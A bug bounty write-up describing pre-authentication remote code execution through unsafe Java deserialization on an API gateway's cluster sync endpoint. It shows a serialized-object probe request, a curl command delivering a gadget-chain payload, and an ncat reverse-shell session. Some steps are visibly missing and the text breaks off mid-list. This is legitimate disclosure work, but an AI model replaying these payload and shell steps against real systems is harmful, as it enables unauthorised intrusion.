When The Gateway Becomes The Doorway: Pre-Auth RCE in API Management .
Discover how a decade-old vulnerability class leads to pre-authentication Remote Code Execution (RCE) in an enterprise API management platform. This article details the end-to-end compromise of an API Gateway, from initial subdomain reconnaissance and API fuzzing to achieving an interactive reverse shell via unsafe Java deserialization in unauthenticated cluster sync endpoints.
Published
Jan 18, 2026
Category
Bug Bounty
Author
Krishna Agarwal
It was during a routine bug bounty engagement that we stumbled upon something that made us pause. The target's attack surface was sprawling, the usual collection of production apps, staging environments, and the occasional exposed internal tool. Subdomain enumeration had yielded some predictable results: api.prod.target.com, dev-v2.target.com, stg.target.com.
And then: gateway-internal.target.com
Welcome, dear reader. Let's talk about how a "secure" API management platform became our springboard to pre-authenticated remote code execution.
Initial Discovery
Subdomain Enumeration
Our reconnaissance began as it always does in case of blackbox, passive enumeration followed by active probing using. The target organization, a mid-sized fintech company with a reasonable bug bounty program, had a healthy collection of subdomains.
The gateway-internal subdomain immediately caught our attention.
A quick visit revealed what appeared to be a custom-built API gateway management interface, think Kong or Tyk, but with the distinctive feel of an in-house dirty solution. The login page proudly displayed: "REDACTED API Gateway v1.2.5".
We filed this away and continued our enumeration.
Technology Fingerprinting
A few HTTP headers later, the picture became clearer:
HTML
12345
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Spring Boot
Content-Type: text/html;charset=UTF-8
Set-Cookie: JSESSIONID=...; Path=/; HttpOnly
Spring Boot. Java. Our interest intensified :)
The application's error pages were particularly generous:
Plain Text
1234567
Whitelabel Error Page
This application has no explicit mapping for /error, so you are seeing this as a fallback.
Thu Jan 10 23:23:45 UTC 2026
There was an unexpected error (type=Not Found, status=404).
A Whitelabel error page, Spring Boot's default. The developers hadn't bothered to customize it.
This level of attention to detail (or lack thereof) often correlates with other oversights.
API Reconnaissance
Unauthenticated Endpoint Discovery
The login page was a dead end without credentials, but API gateways often expose management endpoints that bypass the web interface. We turned to directory and API path fuzzing using our beloved ffuf:
At this point, we suspected Java serialization. But suspicion isn't evidence. We needed confirmation.
Identifying the Vulnerability
Probing the Serialization Format
The error message mentioned "serialized" but didn't specify the format. Java applications commonly use:
Native Java serialization (ObjectInputStream)
JSON (Jackson, Gson)
XML (XMLDecoder, XStream)
We started with JSON, but received the same error. Then we tried sending Base64-encoded data directly:
HTTP
12345
POST /api/v1/cluster/sync HTTP/1.1
Host: gateway-internal.target.com
Content-Type: application/octet-stream
rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AAR0ZXN0
The response changed
JSON
12345
{
"error": "Deserialization failed",
"message": "java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to com.gatewayeu.core.cluster.ClusterState",
"code": "SYNC_DESERIALIZE_ERROR"
}
Bingo. Several things happened at once:
The server accepted our Base64-encoded serialized data
It attempted to deserialize it as a ClusterState object
The error reveals the full class name: com.gatewayeu.core.cluster.ClusterState
Most importantly: deserialization occurred before the type check
If the application had validated the type before deserializing, we would have received a different error. The fact that it tried to cast our String array to ClusterState means the object was already instantiated.
This is the classic insecure deserialization pattern.
Confirming the Attack Surface
To confirm exploitability, we needed to identify gadget chains available in the classpath. actuator paths were forbidden, so we decided to go with monkeys way, we created an script that will use ysoserial, generate all payloads with oob payloads, and send.
Finally, after 2-3 minutes, we got Commons Collections 6 working. The gift that keeps on giving.
Exploitation
Proof of Concept: File Creation
First, we confirmed basic command execution with a benign payload:
The server returned an error (expected, our gadget chain doesn't produce a ClusterState), but did our command execute? We checked our servers and indeed out-of-band interactions received (maybe it's time for a sweet reverse shell? to confirm this RCE).
As final showdown, we tried to get a interactive reverse shell on gateway via mkfifo technique:
curl -isk -X POST --data-binary @pwn.txt -H 'Content-Type: application/octet-stream' https://gateway-internal.target.com/api/v1/cluster/sync
JSON
1
{"error":"Deserialization failed","message":"java.lang.ClassCastException: java.util.HashSet cannot be cast to com.gatewayeu.core.cluster.ClusterState","code":"SYNC_DESERIALIZE_ERROR"}
on our listener
Bash
12345678910
ncat -lvnp 4444
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from TARGET_COM_IP:62543.
sh: 0: can't access tty; job control turned off
$ whoami
gatewayeu
$ hostname
gw-node-eu
We stopped right there as per bug bounty policy. The gateway that was supposed to protect their infrastructure had become the doorway in.
This vulnerability presented risk:
Pre-Authentication: No credentials required to exploit.
Network Position: API gateways typically have privileged network access to backend services.
Lateral Movement: Access to internal network segments normally protected by the gateway itself.
Disclosure Timeline
Date
Event
2026-01-10
Vulnerability discovered during bug bounty engagement
2026-01-10
Initial report submitted via bug bounty platform
2026-01-13
security team acknowledged receipt
2026-01-14
security team confirmed vulnerability and began remediation
2026-01-14
Hotfix deployed to remove public endpoint exposure
2026-01-15
Full patch released in version v1.2.7
2026-01-18
Public disclosure
Final Thoughts
There you have it, dear reader. An enterprise API gateway, the very infrastructure designed to protect backend services, turned into a pre-authenticated entry point through a decade-old vulnerability class.
The chain was straightforward once identified:
Subdomain enumeration revealed an gateway interface.
API fuzzing discovered unauthenticated cluster management endpoints.
